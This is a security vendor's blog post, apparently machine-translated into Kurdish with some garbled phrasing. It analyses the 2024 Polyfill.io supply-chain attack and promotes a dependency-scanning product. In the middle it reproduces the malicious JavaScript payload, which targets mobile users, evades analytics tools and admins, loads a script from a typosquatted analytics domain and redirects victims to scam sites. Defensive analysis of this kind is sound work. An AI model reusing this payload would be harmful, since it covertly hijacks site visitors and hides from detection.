êrîşa-polyfill-ê-polyfill-êrîşa-zincîra-dabînkirinê-nermalava-zincîra-dabînkirinê-êrîş

Vekirina Maskeya Polyfill: Lêkolînek Kûr

Di Sibat 2024 de, Êrîşa zincîra dabînkirinê ya Polyfill.io- mînakek berbiçav a êrîşên zincîra dabînkirina nermalavê—li seranserê cîhanê zêdetirî 100,000 malperan zirar dît. Ev bûyer tê de bû revandina pakêtê, ku FUNNULL, saziyeke xerabkar, kontrola domaina Polyfill û depoya GitHub bi dest xist, û malware xist nav xizmetê. Malware bi taybetî bikarhênerên mobîl hedef girt, wan ber bi malperên qumarê yên sextekar ve bi karanîna qelsiyên di radestkirina koda dînamîk a Polyfill de li ser bingeha sernivîsên HTTP û ajanên bikarhêner ve birin.

Danasîna Teknîkî: Êrîşa Polyfill Çawa Kar Kir

Polyfill bi berfirehî tê bikar anîn da ku lihevhatina di navbera taybetmendiyên webê yên nûjen û gerokên kevintir de misoger bike. Êrîşkaran bi kar anîn revandina pakêtê bi kirîna cdn.polyfill.io domain û bicihkirina skrîptên zirardar. Tiştê ku vê êrîşê ewqas xeternak kir tevgera sofîstîke ya malware bû:

  • Çêkirina Koda DînamîkXizmeta Polyfill li gorî cîhaza ku digihîje malperê (mînak, mobîl vs. sermaseyê), sernivîsên HTTP, û ajanên bikarhêner bersivên JavaScript-ê yên xwerû çêkir. Êrîşkaran ji vê xwezaya dînamîk sûd wergirtin, barkirinên zirardar ên ku ji bo cîhazên taybetî - bi taybetî telefonên mobîl - hatine çêkirin, derzî kirin.
  • Teknîkên EvasionMalware jîr bû. Dema ku karûbarên analîtîkê yên wekî Google Analytics dihatin tesbîtkirin, ew pêkanînê dereng dixist, û rê li ber xuya bûna kiryarên wê di statîstîkên malperê de digirt. Wekî din, heke bikarhênerên rêveber an pêşdebir dihatin tesbîtkirin, ew çalak nedibû, û di dema debugkirin an ceribandinê de tespîtkirina zû bêtir digirt.
  • Beralîkirina MobîlPiştî ku malware hat çalakkirin, bikarhêneran bi rêya sextekirina domainên rewa ber bi malperên qumarê yên sextekar ve araste kirin (mînak, googie-anaiytics.com). Êrîşkaran heta paceyên demê jî manîpule kirin da ku gumanan kêm bikin, û barkirinê tenê di demjimêrên diyarkirî de bicîh anîn da ku bikarhênerên mobîl ên bê guman matmayî bigirin.

Malperên herî mezin ên ku ji êrîşa Polyfillê bandor bûne

Ew Êrîşa zincîra dabînkirinê ya Polyfill bandor li ser zêdetirî 100,000 malperan kir, di nav de rêxistinên mezin ên wekî:

  • Forum Foruma Aborî
  • Intuit
  • tabîetê
  • Bank of Ireland
  • Coldwell Banker
  • Niştimanî Live
  • Zanîngeha Brandeis
  • Şirketa Balafirgehên Dubayê
  • Fona Parastina Jîngehê

Ev qurbaniyên payebilind bandora gerdûnî ya êrîşê û lawaziya wê tekez dikin. saziyên mezin ji bo binpêkirinên zincîra dabînkirinê. 

Hişyariyên Zû û Bersiv

Andrew Betts, afirînerê resen ê Polyfill, çend meh berî êrîşê pêşdebiran hişyar kir ku dev ji karanîna karûbarê Polyfill berde piştî ku wî kontrola domainê winda kir. Hişyariya wî bi piranî bêguh ma heta ku êrîşa FUNNULL hate destpêkirin. Dema ku hate tesbîtkirin, torên radestkirina naverokê yên wekî Cloudflare û Fastly alternatîfên ewle peyda kirin, di heman demê de Betts şîreta xwe ji bo pêşdebiran dubare kir ku referansên Polyfill bi tevahî jê bibin.

Nimûneya barkêşiya zirardar a Polyfill

Ji bo nîşandana sofîstîkebûna êrîşa zincîra dabînkirinê ya Polyfill, Sansec mînakek berfireh a barkêşiya xerabkar a ku hatiye bikar anîn peyda kir. Ev barkêş bi dînamîkî li gorî cîhaza bikarhêner hatî adaptekirin, beralîkirinên ber bi malperên sextekar ve çalak dike û teknîkan bikar tîne da ku ji tespîtkirinê dûr bikeve. Ji bo nihêrînek nêzîktir li ser dabeşkirina teknîkî ya vê barkêşiyê, hûn dikarin kontrol bikin Sansec's analîzek tevahî û nimûneya koda xerabkar.

				
					function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();
				
			

Çima Êrîşa Zincîra Dabînkirinê ya Polyfill Çêbû?

Êrîşa zincîra dabînkirinê ya Polyfill girîngiya girîng destnîşan dike. lawaziyên di girêdayîbûna partiya sêyemîn de rêveberî. Ekosîstema JavaScript-a nûjen bi giranî xwe dispêre pirtûkxaneyên çavkaniya vekirî, û pêşdebir pir caran amûrên mîna npm bikar tînin da ku van pirtûkxaneyan bixweber entegre bikin. Bêyî vekolîna hişk an çavdêriya domdar, pakêtên xeternak dikarin bêyî ku werin tespît kirin derbas bibin, wekî ku di Polyfill de tê dîtin.

Herwiha, leza bilez a pêşkeftin û bicihkirinê di jîngehên nermalava îroyîn de pir caran fonksiyonelîtî û leza li ser kontrolên ewlehiyê yên berfireh dide pêş. Êrîşkar ji vê valatiyê sûd werdigirin, pirtûkxaneyên populer hedef digirin da ku bandora xwe herî zêde bikin. Di doza Polyfill de, gava ku êrîşkar kontrola domainê bi dest xistin, wan karanîna berfireh a pirtûkxaneyê bikar anîn da ku koda zirardar li ser hejmareke mezin ji malperan derzî bikin.

Ev bûyer girîngiya bicîhanîna tedbîrên ewlehiyê yên hişk, wekî amûrên venêrîna girêdayîbûnê, çavdêriya demrast, û planên bersivdayîna bûyerê yên bihêz, ji bo parastina li dijî êrîşên zincîra dabînkirina nermalavê yên wekhev, destnîşan dike. Divê rêxistin di herikên xebata pêşveçûnê de ewlehiyê bidin pêşanî da ku ekosîstemên xwe yên dîjîtal bi bandor biparêzin.

Pêşîgirtina li Êrîşên Pêşerojê: Rêveberiya Girêdayîbûnê ya Xurt

Dema ku girêdayîbûnan ​​birêve dibin, Xygeni's Open Source Security rawesta axaftevan gelek tebeqeyên parastinê bikar tîne, ku ji bo tesbîtkirin, karantînkirin û sererastkirina pêkhateyên xerabkar di wextê rast de û dûrketina ji êrîşên zincîra dabînkirina nermalavê hatine çêkirin.

Tespîtkirina Malware ya Rast-TimeXygeni bi berdewamî qeydên giştî dişopîne, berî ku koda gumanbar bikeve hawîrdora pêşveçûnê, li kodê digere. Ev yek rê dide astengkirina proaktîf a gefên mîna êrîşa Polyfill, wekî ku di Luis Rodriguez rêzenivîsa gotaran. 

Hişyariyên Otomatîk û KarantînXygeni pakêtên xeternak bixweber îzole dike û hişyariyan çêdike, ku dihêle tîmên pêşvebirinê zû tevbigerin. Bi entegrekirinê bi CI/CD pipelines, her gef dikare berî ku bigihîje hilberînê were rawestandin. Di rewşên mîna bûyera Polyfill de, ev taybetmendî bi rawestandina zû ya koda xerabkar pêşî li bandora berfireh digire.

Pêşîniya Dînamîk & SBOMXygeni li gorî kontekst, bikêrhatîbûn û bandora karsaziyê bi awayekî dînamîk qelsiyan dide pêşiyê. Bi çêkirina Lîsteya Materyalan a Nermalava Demrast (SBOM), rêxistin dikarin hemî pêkhateyên sêyemîn bişopînin, bi vî awayî şefafiyeteke bêkêmasî misoger dikin. Ev çavdêriya rast-dem dema birêvebirina girêdayîbûnên çavkaniya vekirî pir girîng e, û rê dide bersivên bilez ji bo bûyerên wekî revandina Polyfill.

Di rêzenivîsa gotaran de ji hêla Luis Rodriguez, bal kişand ser parastina proaktîf li dijî pakêtên çavkaniya vekirî yên zirardar bi berfirehî tê nîqaşkirin. Nêzîkatiya Xygeni ne tenê tespîtkirina dem rast vedihewîne, lê di heman demê de rêyên sererastkirina otomatîk jî peyda dike, ku rê dide rêxistinan ku bêyî astengkirina hilberînê vegerin guhertoyên ewle.

Lêkolîn Pakêtên Xerabkar ên Çavkaniya Vekirî rêzenivîsa gotaran li vir bibînin da ku hûn bêtir fêr bibin ka Xygeni çawa ewlehiya çavkaniya vekirî birêve dibe.

Girêdanên Çavkaniya Vekirî yên Xwe ji Malware Biparêzin

Stratejiyên proaktîf kifş bikin da ku nermalava xwe ya çavkaniya vekirî ji gefên malware biparêzin. Ji bo têgihîştinên girîng ên li ser parastina malware, kaxeza me ya spî dakêşin.

Dersên ji Êrîşa Polyfill

Ew Êrîşa zincîra dabînkirinê ya Polyfill.io dersên girîng li ser xetereyên girêdayîbûna ji aliyên sêyemîn di pêşvebirina malpera nûjen de dide.

  • Hişyarî li Girêdayîbûnên Partiya SêyemînEv xala herî girîng e. Divê rêxistin bi rêkûpêk kontrol bikin, veterîner bikin û çavdêriyê bikin hemû pirtûkxaneyên partiya sêyemîn ku ew bikar tînin. Zêde-bawerî li ser girêdayîbûnên nehatine verastkirin dikare pergalan bi xetereyên cidî re rû bi rû bihêle.
  • Tedbîrên Ewlekariya ProaktîfÇavdêriya berdewam, wek mînak bi Tesbîtkirina gefên demrast ên Xygeni, dikare lawaziyên zû bigire.
  • Perwerdekirin û fêrkirinAgahdarkirina hemû endamên tîmê li ser gefên herî dawî ewlehiya rêxistinî xurt dike.

Êrîşa zincîra dabînkirinê ya Polyfill wekî bîranînek bihêz a gefa mezinbûyî ya ku ji hêla ... ve tê pêşkêş kirin xizmet dike. êrîşên zincîra dabînkirina nermalavêEv êrîş ji qelsiyên di pêkhateyên sêyemîn ên ku bi berfirehî têne bikar anîn de sûd werdigirin, û rêxistinên ji her mezinahîyê bêparastin dihêlin. Bi pejirandina tedbîrên ewlehiyê yên proaktîf, wek mînak şopandina rast-dem, tespîta tehdîdê otomatîk, û rêveberiya girêdayîbûna xurt—wek yên ku ji hêla Xygeni ve têne pêşkêş kirin—şîrket dikarin di pêşerojê de xwe ji gefên bi vî rengî biparêzin. Hişyar bimînin û çavdêriya berfireh a pirtûkxaneyên partiya sêyemîn biparêzin ji bo pêşîgirtina li tawîzên mezin ên wekî Polyfill girîng in.

Girêdayîbûnên Çavkaniya Vekirî yên Xwe Li Dijî Êrîşên Zincîra Dabînkirina Nermalavê Biparêzin

Bila serlêdana we nebe qurbanê êrîşên zincîra dabînkirina nermalavê mîna Polyfill. Xygeni's Open Source Security rawesta axaftevan çavdêriya demrast, nexşerêya girêdayîbûna pêşkeftî, û sererastkirina otomatîkî pêşkêş dike da ku pêşkeftina we biparêze pipelines ji pakêtên xeternak.

Îro zincîra dabînkirina nermalava xwe kontrol bikin. Demoyekê tomar bike û bibînin ka Xygeni çawa dikare rêxistina we ji gefên pêşerojê biparêze.

amûrên-nermalava-berhevkirinê-ya-sca-amûran
Rîskên nermalava xwe bidin pêşanî, sererast bikin û ewle bikin
Hesabê xwe yê Belaş bistînin.
Qerta krediyê ne hewce ye.

Pêşvebirin û radestkirina nermalava xwe ewle bikin

bi Xygeni Product Suite re